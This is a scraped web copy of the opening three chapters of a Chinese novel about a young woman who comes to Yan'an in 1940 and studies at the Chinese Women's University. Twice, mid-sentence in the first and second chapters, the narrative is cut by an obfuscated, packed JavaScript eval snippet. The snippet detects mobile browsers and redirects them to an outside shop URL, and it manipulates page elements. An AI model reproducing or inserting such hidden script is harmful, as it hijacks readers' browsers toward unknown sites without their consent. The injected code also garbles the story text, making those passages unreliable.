《歧路冰》 1. 第一章 初来延安 第一章 初来延安 “快来看啊,又有人来到了!” “是来参观的么?记者么?前几天刚刚送走几个的。” “听说是年轻的学生。” “那么要赶快去欢迎!” “好想看到外面新来的人啊,可以问问外边现在怎么样了。” 一九四零年的六月下旬,正是盛夏时节,下午两三点钟,陕北某处地方,一群穿灰布军装的人聚在一起,多数是二三十岁的青年,一个个兴致勃勃,望着前方大路上扬起的灰尘,是有车辆驶到了。 果然不多时,一辆大卡车便夹着滚滚黄尘,沿着黄土公路飞驰而来,很快在道路尽头停了下来,副驾驶的位置跳下一个二十六七岁、臂上佩戴“八路”臂章、干部模样的青年军人,冲着后面车斗喊道:“同志们,同学们,到了,这里就是延安!” 几乎就是立刻,车斗后方的横板打开了,里面的人一个接一个跳了下来,几乎每个人在地上站稳之后,转头左右看,都流露出一副惊奇而又兴奋的神色,纷纷叫着: “啊!延安!我终于到了延安!” “这不是在做梦吧?” 在这二三十个人的最末尾,一个身材纤细的女孩子慢慢从车斗爬下来,站在人群后方,从口袋里掏出手绢,擦了擦脸上的尘沙,然后也像其她人一样举目四望,不由得发出同样的感叹:“啊,这就是延安!我终于来到了这里!” 那个八路军的干部这时候招呼道:“同学们,大家拿好行李,就跟我走吧,现在去安排住处。” 然而那女孩子仿佛一时间没有听到他的话,别人已经闹哄哄地在取行李,她依然站在那里,向四面望着,那边有几个人,都是穿灰布军装,头发短短的,看不出是女人还是男人。 这时一个身量高挑、二十四五岁的女子将自己的背包背在肩上,转身视线一扫,便扫到了那个女孩,当即扬声叫道:“幼蕊,回魂了!快把包背好,我们要走了!” 那个叫“幼蕊”的女孩子这才回过神来,答应一声,慢吞吞从脚边提起方才别人掷在那里的一个包裹,随着大家一起,沿着灰尘腾腾的土路往前方走去,当走到一排窑洞前,她低头看看自己脚上的青缎面鞋子,为了即将来到延安而刚刚换上的一双新鞋,已经落满了黄色的沙尘。 她出神两秒钟,马上便暗暗地“呸”了一声:“黄幼蕊啊黄幼蕊,你在介意什么?莫非还在留恋在家中当小姐的日子?那样腐朽的生活有什么好怀念的?这是沙子,这是延安的沙子,延安的沙子都是神圣的,这就是革命,革命就是满身风沙。” 那个青年干部很快找分管住宿的同志,给大家分派了窑洞,五六个人住一间窑洞,黄幼蕊最后一个走进窑洞,又是之前招呼她的那个女子,在那里伸手叫着她:“幼蕊,快过来,睡这里!” 已经替她占好了铺位,就在紧邻着门的第二位,夏季通风,很是清凉,又不是直接靠着外面,能私密些。 黄幼蕊走过来,把自己的背包放在炕上,这时另一个女子抿着嘴笑:“淑兰姐,你真的好像幼蕊的亲姐姐。” 张淑兰噗嗤一笑,将短发往耳后一抿,很是爽朗地说:“我们来到延安,就都是革命同志,都是亲姐妹。啊,姚同志去了哪里?” 姚同志就是那个带她们来延安的八路军干部,叫做姚鹏,从重庆出发到延安,这一路将近半个月时间,都是他陪同,大家与他的感情很深。 过不多时,姚鹏的身影又出现在视线之中:“同志们,安顿好之后就赶快休息,今天晚上有一个特意为了你们而举行的晚会,很多领导都要来呢,有重要的报告听,到时候一定要精神饱满地参加啊!” 他这几句话一说出来,本来谈天正热闹的窑洞之中更加沸腾,就好像油锅之中丢了一根燃着的火柴,简直是亢奋了: “什么?为了我们,要专门开晚会?” “领导也要来吗?会看到主席吗?还有朱总司令呢?” “啊呀如果主席问我话,我要怎么样回答呢?姚同志,你见过主席吗?和主席说过话吗?” 一堆问题涌向了姚鹏,姚鹏难以一一回答,只得笑着说:“你们在延安住久了,总能见到主席和朱总司令的,都是很亲切的人,人民的领袖就是这样的,不是高高在上当官的,好了,现在休息一下吧,不要到了晚会上打瞌睡。” 给他这样打趣了两句,这一个窑洞中的青年女子们便也勉强镇定了一些,看着他离开了,便纷纷躺倒在土炕上: “啊哟,方才还不觉得,这时候躺下来,才觉得骨头酸痛呢!” “都是在车上颠的,我好在是不晕车,小高把胃里的酸水都吐了出来,实在是辛苦。” “可得好好歇一歇,否则到了会场上真的打瞌睡,可是很给人取笑的啊。” 黄幼蕊也很疲倦了,虽然来到延安十分兴奋,不过体力毕竟消耗相当大,这个时候逐渐平静下来,便觉得上下眼皮变得沉重,有点想要睡了,只是她翻了几个身,终究睡不着,土炕太硬了,炕上只铺一条席子,自己随身没带着被褥,背包里只是几件衣服,况且大脑神经虽然已不再激烈波动,却依然轻轻地颤动,让人一时难以入睡。 她就这样翻来覆去,过一阵终于昏昏沉沉,正在仿佛要沉睡的时候,忽然听到外面一阵大声喧哗,便将她惊醒了过来,从窑洞的门向外望去,天色已经暗淡下来,是要开晚会的时间了,许多人在外面奔走,于是黄幼蕊便与女伴们一同起了身,抹了一下脸,便随着人流往礼堂走去。 这一个晚会,这一群新到的青年学生给安排在最醒目的座位,一个看起来是高级干部的人上台讲话:“同志们,欢迎你们,来到革命的圣地!你们都是中国最有志向,最有朝气的热血青年,大江南北的爱国者来到这里,只有一个目的,就是抗战,就是革命……” 黄幼蕊与其她人一样,坐在板凳上,仰起脸出神地听着,大家都非常激动,尤其是女学生,从没想到自己能够受到这样的重视,给人如此瞩目,尤其“报告”内容又是如此鼓舞人,能够来到延安的人,都是中国最进步,最有为的,这让自己血管中的血液开始沸腾,只觉得胸中有无尽的热情与力量,就在这一刻,自己情愿献出所有的一切,只为着理想。 当夜,欢迎会一直持续到很晚,大约一直到午夜的样子,这才散去,回去窑洞的路上,黄幼蕊紧贴着张淑兰走着,两个人手臂挽着手臂,很亲切地说着话:“幼蕊,你看,这天上的月亮多清啊!” 张淑兰仰着头,望向夜空,那里挂着一枚半圆的月亮,非常的清,非常的白,而且不知为什么,显得格外的大,仿佛比起别的地方来,格外的挨近人。 黄幼蕊轻轻地说:“延安的天与别处不一样,月亮也和别处不同,在我的家乡桂林,虽然人家都说山水甲天下,可是我也没有看到过这么好的月亮,简直不想回去睡觉,就想在这里看月亮。” 张淑兰噗嗤一笑:“真是孩子话,已经半夜了呢,再不睡,明天早上怎么起得来?听说在延安,清晨起不来床,是会给人嘲笑的。而且到了明天,我们就要想一想,自己将来要怎么样,我们都是来这里读书的,要进哪所学校?学一些什么?将来为抗战做哪些工作?我想进抗大。” 黄幼蕊两只脚在地上走着,双眼依然望着月亮,悠悠地说:“我也想去抗大,不过那样的地方,不是我这样的人能够进去的吧?所以我想,还是先试试报考女子大学。” 淑兰姐是读过大学的,虽然因为抗战而失学,不过她的学识比自己丰富得多,又参加过“工合”运动,进入抗大应该是够资格的,然而自己只刚刚读了中学,哪里能进抗大呢? 张淑兰微微一笑,说道:“女子大学啊,那也是很好的,延安的女子大学,一定与外面的不一样,不是只教一些无用的才艺,为的小姐们将来好去当太太,延安的女子学校,应该会教给我们自立的本领,未来成为堂堂正正的人,而不是人家豢养的金丝雀。” 黄幼蕊叹了一口气:“姐姐啊,金陵女子大学听说是很好的,只是现在已经没有了。” 因了抗战的严峻形势,国民政府已经迁去了重庆,金陵女大自然不能继续留在南京,据说已经与男校合并了,还有东吴女大也是类似,茫茫中华,放眼四顾,居然难以找到女子求学的地方,当然也是可以进入男女混校的大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048736|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但那些学校毕竟不是专门为了女子而设,本来是男子的地方,女学生只是附带,难免感觉落寞,只觉得中国之大,却没有一个属于女子的学问殿堂。 因此在这样的时局之下,延安能够创办一所专为女子修业的学校,怎么能不让人振奋向往呢?可见延安是当今中国最为光明的地方,是□□的希望所在。 两个人又走了一段路,随意漫谈着,张淑兰忽然说道:“我要把名字改掉,‘淑兰淑兰’,一听就是一副贤良淑德的小姐太太样,仿佛脑门上顶了一个牌坊,我要打破旧社会,就先从自己的名字开始,刚刚想了一个名字,叫做‘朝旭’,朝阳的朝,旭日的旭,我们女子,是东方的朝阳旭日,要照亮天地的,今后我就叫‘张朝旭’。” 黄幼蕊听了,眼睛一亮,拍着手笑道:“姐姐的这个名字改得好!为什么女人一定只能是月亮呢?我觉得女人才是太阳,是很温暖的,给大地带来光明与生命的太阳,未来的世界,应该是有女人参加的世界。” 张淑兰挑了挑眉毛,大声赞叹道:“幼蕊,说得好!” 旁边经过的人听着她们两个人的说话,仿佛也觉得有意思,咯咯地乐。 黄幼蕊想了一想:“淑兰姐,啊,朝旭姐,我也想改名字。” 张朝旭笑着问:“为什么呢?” “我不喜欢这个‘幼’字,好像永远是幼稚无力,要听从别人的教导,自己无法主张什么,仿佛哪怕到了八十岁,也不能按照自己的心意生活。” 自己一共三姐妹,两个姐姐的名字都比自己好,大姐叫做“菊霜”,二姐叫做“柏翠”,虽然都是相当的传统,浓浓的四书五经唐诗宋词之中走出来的人物,然而毕竟还带了成熟的意味,菊花傲霜,松柏长青,再看一看自己,叫做“幼蕊”,是母亲四十五岁时生育的小女儿,名字里便带了一个“幼”字,而且还是“幼蕊”,当然是格外娇嫩了,可是太脆弱。 张朝旭点了点头:“你说的有道理。” 自己的这位小妹妹,虽然在同来的一群青年学生之中年纪最小,中国岁十八岁,若是按西方的算法,只有十七岁,可是很敏感很有想法,在她小小的头脑里,藏着许多心思,就比如对名字的解读,就很给人以启发,自己也已经发现,在中国的社会之中,其实是在世界各国里,女子都好像终生是孩童,永远是未成年,社会认为她们没有自主的能力,也不应该自主,自立自主只是属于男人,男人才是人,而女人只是女人,或者是孩子,是需要男人约束督导的。 因此对于黄幼蕊的要改名字,张朝旭很是赞成,便问:“那么你想改成什么名字?” 黄幼蕊想了一想,有些苦恼地说:“哎呀,我不知道啊!那么多好字眼,个个都很有意思,哪一个都比我的名字好,却只能选择一个,真的好为难啊!” 张朝旭哈哈地笑起来,自己的这个妹妹啊,虽然往往眼神幽幽的,好像揣着无限的心思,仿佛一个古典式的幽闺淑女,可是终究也有天真的一面,比如此时,她那孩子气便流露了出来,好名字太多,不知道该挑哪个,突如其来的自由也是让人有点无措啊。 张朝旭便道:“回去了慢慢地想,反正明天也不能立刻进学校。” 到了第二天的早上,远远地听到外面的号声,黄幼蕊从炕上坐起身来,望向门口的张朝旭,张朝旭已经在洗脸了,从架子上的脸盆前抬起脸来,笑望着她:“幼蕊啊,两个黑眼圈,半宿没睡么?” 黄幼蕊抿嘴一乐:“朝旭姐,我想到了名字了!我叫做‘黄菲’,草木菲菲的菲,另外还谐音飞翔的飞,我要像鸟儿一样飞起来,展翅高飞。” 张朝旭点头:“好名字,黄菲,真的很好。” 说着绞干毛巾擦净了脸。 然后又叮嘱道:“快下来打水洗脸,许多人在那里排队,去得晚了,只怕一脸盆底的水都没得。” 黄菲听了,赶快爬起身来跳下炕,从网兜里拿出自己的小小搪瓷脸盆,撒开腿飞跑出去打水,而且她分明感到,肚子已经饿得咕咕叫,胃里简直在发疼了,昨天下午一两点在路上吃过了东西,之后就没有再吃饭,夜里又熬到那么晚,这时候迫切想要吃早饭。 2. 第二章 女子大学中的决心 第二章 女子大学中的决心 在延安又住了几天,各人的前途确定下来,张朝旭如愿进入抗大学习,而黄菲则是给接纳进中国女子大学,其她同来的人,有的进入陕公,有的进入鲁艺,也有人进入卫生学校,刚刚改名为医科大学。 到了这时,同来延安的青年学生便必须分开了,各自去往自己的学校,临别的时候,张朝旭握住黄菲的手,千叮万嘱:“在那里记得好好照顾自己,小米饭慢慢地嚼,不然伤胃,没有好身体,就无法革命,也无法解放妇女。” 黄菲点头如同鸡啄米:“我记得了,朝旭姐,你也自己保重,我有空就来看你。” 张朝旭笑着说:“我这两天就去那边看看你。” 女子大学在延河东岸,对面是中央党校和青干校,黄菲搬到女大的第二天,七月二十号,就是学校正式开学的日子,开学仪式上,校长王明做了报告:“中国女子大学的创设,当然是因应抗战的需要,所以,女大的课程在革命理论之外,着重实施职业教育,培养专门的技艺人才,给女子有一个职业的可能,不独为了抗战,为了革命而产生实际效力,也为了女子自己能够自立……” 黄菲坐在小板凳上,手里攥着铅笔,在膝盖上的笔记本上奋力书写,只可惜不能把王明先生说的话全都记下来,实在讲得太好,每个字都说到了她的心里,简直好像是从她自己的心眼里发出来的,只是若不是王校长讲出,自己总觉得朦朦胧胧,想要说而说不透彻,而王校长就讲得全都清楚了,黄菲真想把他说的每个字都写在本子上,今后时时重温,以便提醒自己,不要迷失与遗忘。 王明讲了将近一个钟头,接下来讲话的是教育长张琴秋,著名的红军女将领,她勉励大家努力学习,为妇女解放和中华民族的解放而奋斗,最后说道:“‘妇女解放,突起异军,两万万众,奋发为雄’,这是主席对妇女的厚望,年轻一代的女同胞,一定不能辜负主席的嘱托,不能辜负全国受苦受难姐妹们的期盼!” 到开学式结束,黄菲走出场地,忽然间想到,自己应该改换一下选修的专业,之前是选择了外语与新闻,为的是未来给革命做外交翻译工作,还有宣传工作,现在则是很想学速记,速记对于此时的自己,发生了强烈的吸引力。 第二天开始上课,黄菲就投入到了紧张的学习之中,革命理论课占了很大的比例,多是马克思、列宁的著作,也有中共领袖的文章,看一下政治课的科目:党史、近代史、社会发展史、政治经济学、抗日游击战争及抗日民族统一战线、新民主主义、中国共产党问题、妇女运动。 都是很高深的题目,所以有同学便玩笑似的说: “等我们学业结束,就可以去做政治工作。” “所以笔记一定要记好,黄菲,借你的笔记来瞧瞧!” 黄菲学习速记很有进展,短短一个月时间,已经能够进行基本的速记,课堂上老师的讲座,她能记下五六成,到如今已经九月末,两个月过去,愈发熟练了,已经用完一个厚厚的旧账簿,所以同学们纷纷找她借笔记。 实在太详尽了,都是很重要的内容,精华荟萃,比如“女子一直在沉睡,在中国当今如此轰轰烈烈的革命背景之下,这是不应当的,中国革命如果不能得到占人口一半的妇女的支持,难有成功的希望”,说得多好啊,让人心潮澎湃,胸中涌起无穷的力量。 要知道女子大学的校舍虽然简陋,甚至没有正式的教室,天气晴朗的时候,每个人搬一个板凳到树林里上课,如果是雨天,就在窑洞里讲解,不过来给学生们上课的□□,却都是赫赫有名的人物,就只是短短一个月时间,黄菲已经见到了周恩EN来、张闻天、邓颖超,校长王明也来上过课,这些中共的领袖,理论素养和实践经验都相当深厚丰富,能够把他们的话都记录下来,对于今后的革命工作,简直是夜海明灯一般,可以指示方向。 听到借笔记,黄菲笑嘻嘻地答应了一声,埋头又开始整理自己的速记,当时确实记录下来,然而多是缩略的汉字与符号,假如不进行及时的整理,时间久了就容易忘记,即使当初是自己所做的速记,也可能茫然不知含义。 大家说着说着,就到了这一天的晚间七点,有人一声招呼,大家便聚在一起,开始了生活检讨会,这是每个周六常有的,共产党人传统的“批评与自我批评”,用这样的方式来克服缺点,让彼此进步,保证党的纯洁与活力。 检讨会上,一群年轻的学生纷纷说着别人与自己: “露云,你到这里来,究竟是来抗日的,还是来恋爱的?不过两个月,和你往来的男同学已经换了四个。” “是啊,为了谈朋友,上课迟到,晚上熄灯号都吹过了,也不肯回来,起初还只是偶尔,到如今愈发严重了,几乎天天如此,我们虽然是女子大学的学生,还没有加入八路军,但也应该用军人的标准来要求自己,要遵守纪律,不能这样散漫的。” 陈露云见检讨会一开,大家就把矛头对准了自己,不由得万分委屈:“我怎么了?不过是和男同学的关系比较好而已,哪像你们说的那样?到了延安,男女还不能自由交往吗?我们到延安,不是追求光明与自由的吗?” 黄菲在角落里抿着嘴笑,陈露云比自己大三岁,今年二十岁,已经晓得许多事情,相貌又很是美艳,身体也已经完全发育成熟了,即使包裹在灰色的军装里,也能够看得出曲线,走在外面,非常吸引人的视线,不但男同志——虽然在延安,要从服饰与发式分辨性别比较难,看起来都是一律,不过到这时候,黄菲已经知道,在这里,男同志的数量远多于女同志——就连女同志也往往会多看她两眼,而且她又很喜欢打扮,每天早上一定要照好一阵的镜子,对着那一面巴掌大的小镜子,把自己的头发衣服整理得妥妥帖帖,这才袅袅婷婷地出去了。 陈露云从上海来,是很讲“罗曼蒂克”的,有时候就拉着人唧唧哝哝地说着,“男朋友……时髦男子”,脑子里充满了绮丽浪漫的幻想,同宿舍其她人都不太理会她这些话题,包括最为忠厚的麻德芳,都不怎样搭茬,并不是要为了革命就隔绝爱情,只因为陈露云理解的爱情太庸俗肉麻,满心都是“电影明星”、“kiss”,趣味低级,大家都不很看得惯,唯独黄菲能够和她说几句,“恋爱神圣,爱情无罪!” 听着她这几句辩解,大家简直要气得乐了,熊晖毫不留情地说:“自由是这种自由法么?你这个样子,让延安的群众看了什么意思?以为我们革命青年,都是只知道谈情说爱,风花雪月,什么影响?” 陈露云愈发倔强,把脖子一梗:“那是老百姓太落后,她们都不看电影的么?” 旁边潘岳荣强忍着笑,说道:“你以为人家都能像你一样,天天逛电影院?要不要种地吃饭?而且我们来到这里,毕竟是读书,你上课不但迟到,而且还打瞌睡,□□已经说过你几次了,倘若一直这样,将来能学成什么?怎样自立?在延安这样一个全新的光明世界,是主张人人都劳动的,劳动才是光荣的,游手好闲可耻,倘若依附于人,为人所供养,更加耻辱,莫非我们逃离了外面那吃人的腐朽世界,到这里还要重复女子屈辱的命运吗?若是那样,不如趁早离开这里,在外面黑暗世界,女子的堕落是因为社会的压迫,在这里堕落,便是自己不争气。” 陈露云给她说得不能再作声,片刻之后忽地把头一扭:“你们只顾说我,怎么就不说黄菲?这么小小年纪,就有了男朋友。” 黄菲本来是静静地在一边瞧着,此时听了这句话,大惊失色:“露云,你不要胡说,我哪里有什么男朋友?” 陈露云见她如此慌张,不由得十分好笑,紫涨的面色渐渐恢复了,咯咯地乐:“你还要瞒人!就是送我们来这里的姚同志,一路多么关照你,行李都是他给你搬上搬下,别人的都丢在一旁,只有你的特别放在脚边,前两天还送了东西来,你都当不知道么?” 这一次轮到黄菲涨红了脸:“他是送给大家吃的,不单是给我一个人,当时大家都吃了啊! ” 就在两天前,姚鹏过来送花生,同宿舍的人吃得很香。 陈露云吃吃地笑:“是啊,说是送给我们大伙,但是当时眼睛可只是望着你一个。黄菲啊,你真的很是可以,来到这里不久,就有了一个干部喜欢你,将来你可能要当首长夫人呢。” 姚鹏现时级别不是很高,但也是营级呢,再升一级到了团级,就可以结婚,陈露云来这里虽然不久,但是一些重要的事情已经打听明白,晓得在延安,要恋爱结婚,得是“三五八团”,须得是团级干部,往往这样的男子,年纪不会特别轻,不过这倒是更好,级别高一些,才能有更好的待遇,津贴总能比别人高些,听说每个月有四元呢,自己虽然是来革命的,但实在不想嫁一个默默无闻的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048737|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄菲给她几句话说得,脸上一阵红一阵白,眼睛里雾气蒙蒙,差一点就要流下眼泪来了。 熊晖实在听不下去,喝了一声:“陈露云,你自己成天满脑子想这些事,不要反过来安到黄菲身上,你还是好好想一想怎么跟上进度,你再这样,考试不及格,可能要退学的,到时候怎么办?回家里去么?” 陈露云给她这么一提醒,一个激灵便有点清醒过来,是啊,父亲卖女求荣,要让自己给一个糟老头子长官当偏房,自己若是回去了,便是生生跳入火坑,所以学校里的课程,还是要跟上才好,况且就算是要当首长的太太,也该有一点资本,倘若女大读不下来,半路退学,给首长知道了,怎么会要自己呢?有这样一个太太,多没面子啊,自己纵然不能像那些长征过来的女同志那样,双手打枪,文化方面总要够得上。 于是陈露云重重点头:“我知道了,以后不再这样。” 当晚的检讨会就这样结束了,就连黄菲都暗暗地松了一口气。 得说这样的生活检讨,她既喜欢,又感到有点为难,像是这样坦诚的批评与自我批评,在家里哪能看得到呢?在那里,每个人都是勾心斗角,当面笑容满脸,甜言蜜语,转过头来就说对方的坏话,在那样一个家里,每时每刻都要谨慎,不能与人说半句真心话,每个人都成了舞台上的人,都只是戴着脸谱念台词而已,久而久之,自己都忘记了自己本来是谁,那样的生活,实在太痛苦。 不过“批评与自我批评”虽然很好,起初黄菲却总觉得有点不好意思,批评别人虽然也有些尴尬,毕竟还好些,最难的是自我批评,还有接受别人的批评,真的很有些难堪啊,脸上难免发烧,在这样的场合,她左看看右看看,发现大家或多或少都是如此,还是熊晖说:“我们身上还带了小资产阶级的气息,这样是不行的,要用于自我批评,对同志也要坦白提出意见,这才是真正的革命同志,现在从我开始,我觉得我自己还是自由散漫,挑剔生活条件,吃小米饭不能习惯……” 熊晖是江苏人,来延安初次见到小米饭,还以为是蛋炒饭:“啊,这里有蛋炒饭啊,真好,不是说延安很艰苦么?这是特意为我们做的么?” 吃到嘴里才知道原来是小米,当时难过得她,皱着眉头差一点就吐了出来。 当时黄菲就坐在她不远处,看了她那失望的样子,不由得暗暗好笑,幸好自己读过《西行漫记》,晓得延安是吃小米的,所以不曾有这样奇异的想法。 又过了几天,便是十月十号,双十节,中华民国的国庆日,在延安也是相当隆重的,这一天学校放假,下午有盛大的庆祝会,庆祝会上,□□主席作报告,“……我们只有一个领袖,一个政府……拥护蒋委员长,拥护国民政府……不惜一切牺牲,抗战到底……打他十年,二十年,打出一个新中国……” 人山人海之中,黄菲入迷地听着,因为距离主席台比较远,她看不太清主席的面容,然而主席的声音给她留下深刻的印象,是那样的坚定有力,只要听到这样的声音,无论怎样巨大的困难,都觉得是可以战胜的,让人涌起无穷的信心。 晚上是会餐,黄菲盛了满满一碗“国共合作饭”,就是大米和小米混合煮出来的米饭,米饭上铺了南瓜,还有几片猪肉,另一只手里拿了几块“列宁饼干”——小米锅巴,和同学们聚在一起,香喷喷地吃着,双十节难得的改善伙食,居然有大米和猪肉。 晚餐之后,天黑下来,这时提灯游行上场,许多人在纸灯笼里点起蜡烛,提着它成群结队前行,一边走,一边喊着口号: “拥护蒋委员长!” “拥护国民政府!” “抗战到底!” “中国必胜!” 就这样一直到了午夜,人群才逐渐散去,回到窑洞,黄菲只觉得胸中的气血依然翻涌,她看了看同窑洞的另外七个人,都是脸上通红,显然也正在激动之中。 盘着腿坐在火炕上,女学生们的情绪依然热烈,你一言我一语地议论着今天的庆祝会,还有主席的讲话,潘岳荣猛地一拍大腿,如梦似幻地说:“姐妹们,咱们说好了,都不嫁老干部,一心抗日,砸碎旧世界,建立新中国,为千千万万的姐妹开辟崭新的生活,我们到延安,是来革命的,不是来当官太太的。” 大家拍着手纷纷赞成,黄菲更是要把掌心都拍红了,只有陈露云垂下头来,默默不语。 3. 第三章 急急急 第三章 急急急 十月下旬,在中国的旧历是九月,延安已经下了很浓的霜,清早起来,站在窑洞门前,望向前方,白菜田里一片淡淡的晶莹色泽。 二十七号这一天是礼拜天,学校不上课,早上出操又吃了早饭之后,黄菲窝在炕上,拥着一条被子,凑在油灯前便开始读书,从图书馆里借来的书,女大的图书馆在延安如今的条件之下,可以说是很不错的了,据说当初女大建校的时候,许多领袖都捐赠了资金,置办各种用品,图书馆是其中很重要的,主席带头捐赠了一百元,都拿来购买图书,所以女大的藏书也是不少呢。 黄菲早已经预备今天痛痛快快读一天的书,所以昨天礼拜六,她就去图书馆借好了书,两本小说,一本政治书,还有一本杂志,虽然知道一天时间决读不完这么多的书,然而黄菲就是想把它们都拿回来,摆在枕头边,只那么瞧着就够满足了,真正读起来,也是这本看一阵,那本看一阵,巴不得一时都看完。 得说她的这个秉性,不止是闲来读书,课业上也是如此,女大的选修课有几种,医药卫生、会计、缝纫、速记、新闻、外语,每个人可以选修两门,黄菲主修的是速记与英语,然而其它几门也都要学,但凡有一点时间,就过去旁听,还自己借了书来看。 □□发现她是如此,便劝她:“贪多嚼不烂。” 与其样样通样样松,不如专精一种。 然而黄菲回应了一句:“艺多不压身。” 自己是迫切地想要多学本领,与黑暗社会斗争,创造光明的世界。 此时周围一片热闹的谈话声。 “开展政治地位!”熊晖正起劲地说着。 这是女学生中的流行语。 黄菲就这么一直读到临近中午,把手里的《骆驼祥子》放下,换了那本杂志,《中国妇女》,去年创刊,是延安专门的一本妇女杂志,刊名是毛主席题写的,许多有学问的人在上面发表文章,讨论妇女问题,黄菲一进入女大,很快就发现了这本杂志,两周把旧的杂志都借来阅读了一遍,此后每期必看,只恨出的太少,每个月只出两卷。 很快到了吃午饭的时间,黄菲舍不得放下杂志,干脆麻烦潘岳荣帮自己打饭,匆匆吃了,又看过两篇文章,正在兴致盎然,忽然窑洞的门一开,一个人走了进来:“你们都在呢?太好了,大家一起来吃瓜子。” 于是窑洞内一时轰然。 黄菲抬起头来一看,不由得便是一皱眉,是姚鹏,自从那一回送她们来延安,他便再没有回重庆,四个月来都在延安,时不时就会过来女大,起先自己还没觉得,自从那一回听陈露云说了,从此便留意,果然好像有点不太对劲的样子,打那以后,黄菲就很不想看到他。 这时见他又来了,而且陈露云正在悄悄向自己挤眉弄眼,黄菲只觉得一阵气闷,一下子把杂志抛到旁边,起身将棉袄裹在身上,说了一声:“我出去透透气。” 便走了出去。 姚鹏登时便有些尴尬,手里提着的那包瓜子一时间也不知该往哪里放,还是潘岳荣接了过来,笑着招呼他坐下:“快请坐,喝开水。” 姚鹏挠了挠头:“我好像有点冒昧打扰了。” 熊晖笑道:“其实没什么,黄菲今天上午看了几个钟头的书,早就在说眼睛累,她从小的习惯,看上一个钟头的书,一定要到外面走一走的。” 姚鹏点点头:“是应该保重身体,身体是革命相当重要的条件。” 这时陈露云也凑了过来,笑嘻嘻地同他说话,姚鹏虽然有些失望,但不好立刻就走的,好在这一群女学生都很热情,不多时他的情绪便明朗起来,笑着一边喝水吃瓜子,一边与熊晖她们闲谈。 黄菲走出窑洞,一时也不知该往哪里去,便一路溜达着,往抗大这边来,去找张朝旭。 她进入女大之后,张朝旭果然遵守前言,很快便来看她,之后又来瞧过她两次,本来早应该回访的,只是自己一心扑在学业上,一直没有去望她,觉得有点对不住这位待自己如同亲姐妹的人。 抗大与女大颇有一段路程,黄菲信步走着,脑子里一边想着事情,她在回想自己的从前。 自己方才托词出来透气,倒不完全是敷衍姚鹏,的确是有这样的习惯,虽然父亲的家中很是富裕,乃是本乡数一数二的地主,而且诗书传家,不过自己在幼年时,却是寄养乡下,一直到六岁的时候,才给接回家里来,站在厅堂之中,只觉得周围一派陌生,对于那些称作是自己亲人的,一个也不认识。 这还只是自己痛苦的一部分,还有一部分,则是学识上的惭愧,从小抚养自己的乳母詹妈妈,虽然对自己眷爱极深,倾注了许多的情感,然而作为贫苦农妇,詹妈妈是不识字的,所以黄菲相比自己的那些姐妹兄弟,此时便显露出一个极大的短处,便是不识字。 她的两个哥哥,都是三岁就开始认字,两个姐姐虽然没有这样刻苦,不过到了六岁,也多少识得几个字,唯独她,大字不识一个,而且满脑子都是乡土那些阴曹地府、阎王小鬼,用父亲的话来说,就是“乌七八糟,下流龌龊”。 虽然对这个女儿没有什么感情,但毕竟是自己的孩子,既然接了回来,总不能让她就这么不读书,于是父亲便要母亲教小女儿识字,黄菲初握笔杆,想到的是在詹妈妈家中握着拨火棍,她这样的底子,习字必然便慢,父亲本来就不喜欢她,这时候更要骂:“蠢材蠢材!虽然一个女儿本来便没用,本没指望你读出什么来,然而蠢成这样,也实在是意想不到。” 之后谈论别人家的女儿要进新式学堂,父亲又发议论:“女孩子进的什么学堂?在家里读读便罢了,反正也不是那块材料,女孩子读书不行的,比如我家小五,根本就不开窍,样子倒是机灵,两个眼睛大大的,然而那书上的字就是钻不到脑子里去。” 听着父亲这样的话,黄菲当面就眼泪汪汪,背地里更不知痛哭了多少次,满心都是委屈,却又不知该如何诉说,而且那痛苦比之双亲将她丢在乡间,更加深了一层,对于双亲的无情,她还可以抱怨,然而此时是因为自己愚笨而给人责骂,黄菲便只能感觉惭愧了。 然而黄菲终究不是只知道惭愧的,看似脆弱缠绵的性格之中自有一种执拗,给父亲这样斥骂,她伤心之余发奋读书,一心要让别人知道,当初是看错了自己,于是每天从早到晚就只是看书,黄菲的头脑其实是灵活的,虽然不是聪明绝顶,然而却也不笨,央求母亲找来课本,就是哥哥的旧课本,在哥哥的帮助下,自修了小学课程,之后又是哥哥向父亲力争,自己得以去考中学,果然考取了,从此进入一个新的世界。 这十年苦读之中,多亏了当年随母亲一起来这边的老女佣宁凤姐,黄菲称她为宁妈妈,时常招呼她到外边走动,每当她读过一阵书,便听到宁妈妈的声音:“三小姐啊,快出来园子里逛逛,别总是看书,那书上的字看多了,把眼睛弄眍?了。” 黄菲倒是肯听宁妈妈的话,每当她招呼,往往便会放下书本,走出门来,站在庭院中望望那花那树,以是她拼命读书这么多年,虽然如今距离远了便看不太清楚,眼睛毕竟没有大坏。 这个习惯她到了延安也依然保持着,读过一阵书,便起来运动一下,不独是为了眼睛,也是为了身体,宁妈妈灯下做针线的时候,曾经郑重地叮嘱过她:“女孩子太聪明了不好,看的书太多,把身子都思虑坏了,越是那么聪明的小姐,便越容易糟蹋了身体,当年那边乡里郑家的小姐,简直是个仙女下凡,几岁就能写诗了,可是那身子骨弱的哦,给风吹吹就倒了,十六岁上就没了的,还没来得及过门,听说临死的时候那惨哦,大口吐血。” 于是黄菲便悚然,读书过一段时间,总要起来走走跳跳,等她长大一些便知道,郑家的小姐得的是肺痨,也就是如今所说的肺结核。 